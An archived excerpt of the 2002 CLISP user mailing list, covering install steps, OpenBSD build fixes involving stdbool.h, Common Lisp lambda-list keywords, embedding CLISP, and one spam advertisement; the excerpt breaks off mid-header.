TEXT/plain; charset=us-ascii Message-Id: Subject: [clisp-list] configure and makemake Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 29 04:02:02 2002 X-Original-Date: Wed, 29 May 2002 11:59:12 +0100 (BST) Having read the CLisp `Installation on Unix' document, I'm a little confused about the install procedure requiring both `configure' and `makemake' commands before the `make' - almost all other installations I've done involve only `configure' and `make'. Wouldn't it be possible in future to simplify the install procedure so that `configure' did everything? It could still prompt the user to edit the short and long site name before giving the `make' (or `make install') command. In particular, where I should give any extra configuration options I might want as arguments to `configure' or to `makemake'? I wish to install on Linux under /usr/local/pkg/clisp-2.28 (I don't like installing packages directly in /usr/local, as I think it obscures the top-level directories of an ls(1) listing of that.) I tried: ./configure --prefix=/usr/local/pkg/clisp-2.28 and saw the prompt at the end which recommended: ./makemake --prefix=/usr/local/pkg/clisp-2.28 --with-readline \ --with-gettext --with-dynamic-ffi > Makefile which worked very nicely, if apparently redundantly! Surely `configure' could record the options behind the scenes and then make the Makefile itself, leaving me to give only the `make' or `make install' command? -- John A. Murdie Experimental Officer (Software) Department of Computer Science University of York England From samuel.steingold@verizon.net Wed May 29 07:25:28 2002 Received: from h008.c001.snv.cp.net ([209.228.32.122] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17D4OF-0000WP-00 for ; Wed, 29 May 2002 07:25:27 -0700 Received: (cpmta 18561 invoked from network); 29 May 2002 07:25:21 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.122) with SMTP; 29 May 2002 07:25:21 -0700 X-Sent: 29 May 2002 14:25:21 GMT To: John Murdie Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] configure and makemake References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 29 07:26:03 2002 X-Original-Date: 29 May 2002 10:25:20 -0400 > * In message > * On the subject of "[clisp-list] configure and makemake" > * Sent on Wed, 29 May 2002 11:59:12 +0100 (BST) > * Honorable John Murdie writes: > > Surely `configure' could record the options behind the scenes and then > make the Makefile itself, leaving me to give only the `make' or `make > install' command? $ ./configure --build build-dir will configure and build CLISP in the directory `build-dir' (it is not recommended to mix the build and source directories) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux To a Lisp hacker, XML is S-expressions with extra cruft. From william.newman@airmail.net Wed May 29 11:47:54 2002 Received: from mx5.airmail.net ([209.196.77.102]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17D8UD-0000PU-00 for ; Wed, 29 May 2002 11:47:53 -0700 Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx5.airmail.net with smtp (Exim 3.33 #1) id 17D8UC-0009oJ-00 for clisp-list@lists.sourceforge.net; Wed, 29 May 2002 13:47:52 -0500 Received: from balefire.localdomain from [207.136.56.94] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with esmtp for sender: id ; Wed, 29 May 2002 13:48:32 -0500 (CDT) Received: (from newman@localhost) by balefire.localdomain (8.12.1/8.12.1/Submit) id g4TIjBt9029312; Wed, 29 May 2002 13:45:11 -0500 (CDT) From: William Harold Newman To: clisp-list@lists.sourceforge.net Message-ID: <20020529184511.GA848@balefire.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.25i Subject: [clisp-list] can't build CVS clisp under OpenBSD 3.0 for x86 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 29 11:48:05 2002 X-Original-Date: Wed, 29 May 2002 13:45:11 -0500 The first problem can be fixed (crudely, obviously) by this patch: Index: src/unitypes.h =================================================================== RCS file: /cvsroot/clisp/clisp/src/unitypes.h,v retrieving revision 1.1 diff -u -r1.1 unitypes.h --- src/unitypes.h 27 May 2002 17:22:43 -0000 1.1 +++ src/unitypes.h 29 May 2002 18:41:17 -0000 @@ -20,7 +20,15 @@ #define _UNITYPES_H /* Get uint8_t, uint16_t, uint32_t. */ +#ifndef __OpenBSD__ #include +#else +# ifdef __i386__ +# include +# else +# error need uint8_t and friends, do not know where they are for this system +# endif +#endif /* Type representing a Unicode character. */ typedef uint32_t ucs4_t; The second problem is that CLISP's stdbool.h uses #define to turn "true" and "false" into "1" and "0", and then CLISP elsewhere #include's the OpenBSD file "/usr/include/stdbool.h", which does /* `_Bool' type must promote to `int' or `unsigned int'. */ typedef enum { false = 0, true = 1 } _Bool; So then of course when this is preprocessed into /* `_Bool' type must promote to `int' or `unsigned int'. */ typedef enum { 0 = 0, 1 = 1 } _Bool; gcc is not happy. I ground to a halt on the second problem, so I dunno whether there's a third problem. -- William Harold Newman 15:11:49 It's a law of nature. The so-called newman constant. -- PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C From samuel.steingold@verizon.net Wed May 29 13:28:28 2002 Received: from h000.c001.snv.cp.net ([209.228.32.114] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17DA3X-0001Ik-00 for ; Wed, 29 May 2002 13:28:27 -0700 Received: (cpmta 12824 invoked from network); 29 May 2002 13:28:20 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.114) with SMTP; 29 May 2002 13:28:20 -0700 X-Sent: 29 May 2002 20:28:20 GMT To: William Harold Newman Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] can't build CVS clisp under OpenBSD 3.0 for x86 References: <20020529184511.GA848@balefire.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020529184511.GA848@balefire.localdomain> Message-ID: Lines: 51 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 29 13:29:03 2002 X-Original-Date: 29 May 2002 16:28:19 -0400 > * In message <20020529184511.GA848@balefire.localdomain> > * On the subject of "[clisp-list] can't build CVS clisp under OpenBSD 3.0 for x86" > * Sent on Wed, 29 May 2002 13:45:11 -0500 > * Honorable William Harold Newman writes: > > The second problem is that CLISP's stdbool.h uses #define to turn > "true" and "false" into "1" and "0", and then CLISP elsewhere > #include's the OpenBSD file "/usr/include/stdbool.h", which does > /* `_Bool' type must promote to `int' or `unsigned int'. */ > typedef enum { > false = 0, > true = 1 > } _Bool; > So then of course when this is preprocessed into > /* `_Bool' type must promote to `int' or `unsigned int'. */ > typedef enum { > 0 = 0, > 1 = 1 > } _Bool; > gcc is not happy. CLISP is not supposed to include "/usr/include/stdbool.h" - it comes with its own. --- lispbibl.d 29 May 2002 12:25:19 -0000 1.258 +++ lispbibl.d 29 May 2002 20:27:53 -0000 @@ -1145,7 +1145,11 @@ #endif # boolean values: +#ifdef HAVE_STDBOOL_H + #include +#else #include "stdbool.h" +#endif # Type for signed values, results of comparisons, tertiary enums # with values +1, 0, -1 does this help? > I ground to a halt on the second problem, so I dunno whether there's > a third problem. I am sure there is - the sources have changed a lot in the recent days. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux When we write programs that "learn", it turns out we do and they don't. From william.newman@airmail.net Wed May 29 14:15:04 2002 Received: from mx9.airmail.net ([209.196.77.106]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17DAmd-0005de-00 for ; Wed, 29 May 2002 14:15:04 -0700 Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx9.airmail.net with smtp (Exim 3.33 #1) id 17DAmc-0001Zm-00 for clisp-list@lists.sourceforge.net; Wed, 29 May 2002 16:15:02 -0500 Received: from balefire.localdomain from [207.136.56.94] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with esmtp for sender: id ; Wed, 29 May 2002 16:15:41 -0500 (CDT) Received: (from newman@localhost) by balefire.localdomain (8.12.1/8.12.1/Submit) id g4TLCKKV018655; Wed, 29 May 2002 16:12:20 -0500 (CDT) From: William Harold Newman To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] can't build CVS clisp under OpenBSD 3.0 for x86 Message-ID: <20020529211219.GA4359@balefire.localdomain> References: <20020529184511.GA848@balefire.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.25i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 29 14:16:01 2002 X-Original-Date: Wed, 29 May 2002 16:12:19 -0500 On Wed, May 29, 2002 at 04:28:19PM -0400, Sam Steingold wrote: > --- lispbibl.d 29 May 2002 12:25:19 -0000 1.258 > +++ lispbibl.d 29 May 2002 20:27:53 -0000 > @@ -1145,7 +1145,11 @@ > #endif > > # boolean values: > +#ifdef HAVE_STDBOOL_H > + #include > +#else > #include "stdbool.h" > +#endif > > # Type for signed values, results of comparisons, tertiary enums > # with values +1, 0, -1 > > does this help? Yes, that makes compilation of lispbibl.d succeed. > > I ground to a halt on the second problem, so I dunno whether there's > > a third problem. > > I am sure there is - the sources have changed a lot in the recent days. Some kind of change seems to be needed in order to make uniname.c compile, too. gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c charstrg.c In file included from uniname.c:27, from charstrg.d:1316: /usr/include/stdbool.h:18: warning: `false' redefined stdbool.h:43: warning: this is the location of the previous definition /usr/include/stdbool.h:19: warning: `true' redefined stdbool.h:44: warning: this is the location of the previous definition In file included from charstrg.d:5: lispbibl.d:7181: warning: register used for two global register variables In file included from uniname.c:27, from charstrg.d:1316: /usr/include/stdbool.h:13: syntax error before `0' /usr/include/stdbool.h:15: warning: redefinition of `_Bool' stdbool.h:35: warning: `_Bool' previously declared here *** Error code 1 It's not obvious to me why "./stdbool.h" is getting included here, since the remaining #include's of stdbool.h, including the one in uniname.c, refer to . Maybe something about the preprocessing sequence here is causing the #include in lispbibl.d to be cpp'ed in a context where HAVE_STDBOOL_H isn't defined? -- William Harold Newman 15:11:49 It's a law of nature. The so-called newman constant. -- PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C From samuel.steingold@verizon.net Wed May 29 14:58:35 2002 Received: from h000.c001.snv.cp.net ([209.228.32.114] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17DBSk-0000Ja-00 for ; Wed, 29 May 2002 14:58:34 -0700 Received: (cpmta 26989 invoked from network); 29 May 2002 14:58:27 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.114) with SMTP; 29 May 2002 14:58:27 -0700 X-Sent: 29 May 2002 21:58:27 GMT To: William Harold Newman Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] can't build CVS clisp under OpenBSD 3.0 for x86 References: <20020529184511.GA848@balefire.localdomain> <20020529211219.GA4359@balefire.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020529211219.GA4359@balefire.localdomain> Message-ID: Lines: 66 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 29 14:59:02 2002 X-Original-Date: 29 May 2002 17:58:26 -0400 > * In message <20020529211219.GA4359@balefire.localdomain> > * On the subject of "Re: [clisp-list] can't build CVS clisp under OpenBSD 3.0 for x86" > * Sent on Wed, 29 May 2002 16:12:19 -0500 > * Honorable William Harold Newman writes: > > On Wed, May 29, 2002 at 04:28:19PM -0400, Sam Steingold wrote: > > --- lispbibl.d 29 May 2002 12:25:19 -0000 1.258 > > +++ lispbibl.d 29 May 2002 20:27:53 -0000 > > @@ -1145,7 +1145,11 @@ > > #endif > > > > # boolean values: > > +#ifdef HAVE_STDBOOL_H > > + #include > > +#else > > #include "stdbool.h" > > +#endif > > > > # Type for signed values, results of comparisons, tertiary enums > > # with values +1, 0, -1 > > > > does this help? > > Yes, that makes compilation of lispbibl.d succeed. > > > > I ground to a halt on the second problem, so I dunno whether there's > > > a third problem. > > > > I am sure there is - the sources have changed a lot in the recent days. > > Some kind of change seems to be needed in order to make uniname.c > compile, too. > > gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c charstrg.c > In file included from uniname.c:27, > from charstrg.d:1316: > /usr/include/stdbool.h:18: warning: `false' redefined > stdbool.h:43: warning: this is the location of the previous definition > /usr/include/stdbool.h:19: warning: `true' redefined > stdbool.h:44: warning: this is the location of the previous definition > In file included from charstrg.d:5: > lispbibl.d:7181: warning: register used for two global register variables > In file included from uniname.c:27, > from charstrg.d:1316: > /usr/include/stdbool.h:13: syntax error before `0' > /usr/include/stdbool.h:15: warning: redefinition of `_Bool' > stdbool.h:35: warning: `_Bool' previously declared here > *** Error code 1 > > It's not obvious to me why "./stdbool.h" is getting included here, > since the remaining #include's of stdbool.h, including the one in > uniname.c, refer to . Maybe something about the > preprocessing sequence here is causing the #include in lispbibl.d to > be cpp'ed in a context where HAVE_STDBOOL_H isn't defined? maybe you could try removing "./stdbool.h" and looking where the "include: file not found" error is signaled? you could also try "gcc -E -dM" to see what macros are defined. I hope Bruno will weigh in on the issue... -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Even Windows doesn't suck, when you use Common Lisp From ampy@ich.dvo.ru Wed May 29 17:25:27 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17DDkk-0004Vj-00 for ; Wed, 29 May 2002 17:25:19 -0700 Received: from localhost (root@localhost) by vtc.ru (8.12.3/8.12.3) with SMTP id g4U0OesJ004470 for ; Thu, 30 May 2002 11:24:40 +1100 X-Authentication-Warning: vtc.ru: root@localhost didn't use HELO protocol Received: from ppp73-3640.vtc.ru (ppp73-3640.vtc.ru [212.16.216.73]) by vtc.ru (8.12.3/8.12.3) with ESMTP id g4U0ObhJ004454 for ; Thu, 30 May 2002 11:24:38 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <18515663212.20020530112707@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] can't build CVS clisp under OpenBSD 3.0 for x86 In-reply-To: References: <20020529184511.GA848@balefire.localdomain> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="----------113D56F252285B3" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 29 17:26:02 2002 X-Original-Date: Thu, 30 May 2002 11:27:07 +1000 ------------113D56F252285B3 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello Sam, Thursday, May 30, 2002, 6:28:19 AM, you wrote: Sam> CLISP is not supposed to include "/usr/include/stdbool.h" - it comes Sam> with its own. These patches was required to build on windows (#include "" instead of #include <>). But I don't know how it affects unix build, I suppose clisp won't build on unix with these patches. -- Best regards, Arseny mailto:ampy@ich.dvo.ru ------------113D56F252285B3 Content-Type: application/octet-stream; name="stdx.diff" Content-Disposition: attachment; filename="stdx.diff" Content-Transfer-Encoding: 7bit Index: uniname.c =================================================================== RCS file: /cvsroot/clisp/clisp/src/uniname.c,v retrieving revision 1.1 diff -u -r1.1 uniname.c --- uniname.c 27 May 2002 17:22:43 -0000 1.1 +++ uniname.c 30 May 2002 00:12:16 -0000 @@ -24,7 +24,7 @@ #include "uniname.h" #include -#include +#include "stdbool.h" #include #include Index: unitypes.h =================================================================== RCS file: /cvsroot/clisp/clisp/src/unitypes.h,v retrieving revision 1.1 diff -u -r1.1 unitypes.h --- unitypes.h 27 May 2002 17:22:43 -0000 1.1 +++ unitypes.h 30 May 2002 00:12:34 -0000 @@ -20,7 +20,7 @@ #define _UNITYPES_H /* Get uint8_t, uint16_t, uint32_t. */ -#include +#include "stdint.h" /* Type representing a Unicode character. */ typedef uint32_t ucs4_t; ------------113D56F252285B3-- From dave@synergy.org Sun Jun 02 10:05:38 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17EYnR-0007e6-00 for ; Sun, 02 Jun 2002 10:05:38 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Sun, 2 Jun 2002 10:05:36 -0700 From: "Dave Richards" To: "clisp-list" Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-OriginalArrivalTime: 02 Jun 2002 17:05:36.0315 (UTC) FILETIME=[B6AF00B0:01C20A57] Subject: [clisp-list] &optional and &key lambda list keywords Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jun 2 10:06:02 2002 X-Original-Date: Sun, 2 Jun 2002 10:05:36 -0700 I thought I understood these two keywords, but it appears I do not. Is it true that keyword parameters assume the existence of optional arguments? What am I missing? test.lsp: (defun test (a &optional b &key c) (list a b c)) [1]> (load "test") ;; Loading file C:\Dave\test.lsp ... ;; Loading of file C:\Dave\test.lsp is finished. T [2]> (test 1) (1 NIL NIL) [3]> (test 1 2) (1 2 NIL) [4]> (test 1 2 :c 3) (1 2 3) [5]> (test 1 :c 3) *** - EVAL/APPLY: keyword arguments for TEST should occur pairwise 1. Break [6]> From ortmage@gmx.net Sun Jun 02 11:16:36 2002 Received: from mx0.gmx.net ([213.165.64.100]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17EZu6-0003tY-00 for ; Sun, 02 Jun 2002 11:16:34 -0700 Received: (qmail 29633 invoked by uid 0); 2 Jun 2002 18:16:26 -0000 From: Scott Williams To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Priority: 3 (Normal) X-Authenticated-Sender: #0009558537@gmx.net X-Authenticated-IP: [67.235.7.146] Message-ID: <2923.1023041786@www19.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: [clisp-list] Grim scripting prospects... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jun 2 11:17:02 2002 X-Original-Date: Sun, 2 Jun 2002 20:16:26 +0200 (MEST) Can clisp be embedded in an application for scripting purposes? How does one go about this? -Scott -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net From mailinglist@braincoders.com Mon Jun 03 00:44:05 2002 Received: from [212.116.138.66] (helo=braincoders.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17EmVW-0005QK-00 for ; Mon, 03 Jun 2002 00:44:04 -0700 From: "BrainCoders.com" To: Mime-Version: 1.0 Content-Type: text/html; charset="ISO-8859-1" Reply-To: "BrainCoders.com" Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 3 00:45:01 2002 X-Original-Date: Mon, 3 Jun 2002 10:45:12 +0300 BrainCoders.com - Low Cost Software Development
 

 



Dear Internet User,

The eBusiness is changing the software applications and services landscape in a way that has not been seen earlier. Companies worldwide are waking up to the fact that the difference between just having an Online Presence and using the web as a strategic medium can mean all the difference to success.

What this also means is that you need technology providers who understand the business implications of technology and can make sure that the solutions work with your exisiting business processes as also enable you to integrate new processes without massive investments in changing the whole Application Architecture.

BrainCoders.com is a software company dedicated to designing and developing the highest-quality software to provide our clients with workable, maintainable and leading-edge solutions. We are specializing in IT services and software outsourcing.

  • Our prices are one of the lowest on the market. We charge our customers from $8 to $15 per working hour depending on the length and complexity of the project.
  • Our leading principle is to consistently deliver on time and on budget.
  • Our most value asset is our team of most committed and capable people.

This dedication to high degrees of professionalism translates to innovative and cost effective solutions. The bottom line is that we help our clients gain competitive advantage and maintain their leading positions in their respective industries.

BrainCoders.com' software development services may be of special interest to the following groups of potential customers:

  • Software houses that wish to reduce their development costs by means of outsourcing.
  • Companies not directly involved in software development, but which have or need their proprietary software business applications and wish to delegate the development, upgrades and support of these applications to a software company.

I am looking forward to hearing from you.


Best Regards,

Vesselin Sladkov
BrainCoders.com
E-mail: sladkov@braincoders.com


This mailing is done only to people who have requested info from one of our sites, or downloaded our Software. If you have recieved this email in error and you wish to be removed from future mailings, please reply with the subject "Remove" and our software will automatically block you from their future mailings.

From lisp-clisp-list@m.gmane.org Mon Jun 03 07:29:51 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17EsqB-0007hT-00 for ; Mon, 03 Jun 2002 07:29:47 -0700 Received: from root by main.gmane.org with local (Exim 3.33 #1 (Debian)) id 17EsqR-00035J-00 for ; Mon, 03 Jun 2002 16:30:03 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.33 #1 (Debian)) id 17EsZT-0002Vr-00 for ; Mon, 03 Jun 2002 16:12:31 +0200 Path: not-for-mail From: Sam Steingold Newsgroups: gmane.lisp.clisp.general Organization: disorganization Lines: 30 Message-ID: References: Reply-To: sds@gnu.org NNTP-Posting-Host: 65.114.186.226 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Trace: main.gmane.org 1023113551 8059 65.114.186.226 (3 Jun 2002 14:12:31 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Mon, 3 Jun 2002 14:12:31 +0000 (UTC) X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: &optional and &key lambda list keywords Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 3 07:30:23 2002 X-Original-Date: 03 Jun 2002 10:12:09 -0400 > * In message > * On the subject of "&optional and &key lambda list keywords" > * Sent on Sun, 2 Jun 2002 10:05:36 -0700 > * Honorable "Dave Richards" writes: > > I thought I understood these two keywords, but it appears I do not. > Is it true that keyword parameters assume the existence of optional > arguments? yes. > (defun test (a &optional b &key c) > (list a b c)) > [5]> (test 1 :c 3) > > *** - EVAL/APPLY: keyword arguments for TEST should occur pairwise > 1. Break [6]> a==1 b==:c 3 is supposed to be :c the c argument is missing. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux I want Tamagochi! -- What for? Your pet hamster is still alive! From lisp-clisp-list@m.gmane.org Mon Jun 03 07:39:47 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Eszp-0008Si-00 for ; Mon, 03 Jun 2002 07:39:45 -0700 Received: from root by main.gmane.org with local (Exim 3.33 #1 (Debian)) id 17Et08-0003Sy-00 for ; Mon, 03 Jun 2002 16:40:04 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.33 #1 (Debian)) id 17EsW9-0002Ow-00 for ; Mon, 03 Jun 2002 16:09:05 +0200 Path: not-for-mail From: Sam Steingold Newsgroups: gmane.lisp.clisp.general Organization: disorganization Lines: 15 Message-ID: References: <2923.1023041786@www19.gmx.net> Reply-To: sds@gnu.org NNTP-Posting-Host: 65.114.186.226 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Trace: main.gmane.org 1023113345 8059 65.114.186.226 (3 Jun 2002 14:09:05 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Mon, 3 Jun 2002 14:09:05 +0000 (UTC) X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: Grim scripting prospects... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 3 07:40:05 2002 X-Original-Date: 03 Jun 2002 10:08:42 -0400 > * In message <2923.1023041786@www19.gmx.net> > * On the subject of "Grim scripting prospects..." > * Sent on Sun, 2 Jun 2002 20:16:26 +0200 (MEST) > * Honorable Scott Williams writes: > > Can clisp be embedded in an application for scripting purposes? > How does one go about this? make your application a CLISP module. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Lisp: it's here to save your butt. From vs1100@terra.es Mon Jun 03 12:24:04 2002 Received: from [213.4.129.129] (helo=tsmtp3.ldap.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ExQy-0007bZ-00 for ; Mon, 03 Jun 2002 12:24:04 -0700 Received: from karsten.terra.es ([62.37.175.24]) by tsmtp3.ldap.isp (Netscape Messaging Server 4.15 tsmtp3 Mar 14 2002 21:29:48) with ESMTP id GX59T800.1C0 for ; Mon, 3 Jun 2002 21:22:20 +0200 Message-Id: <5.1.0.14.0.20020603211950.00a30ad0@pop3.terra.es> X-Sender: vs1100.terra.es@pop3.terra.es X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Karsten In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] Cygwin distribution Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: 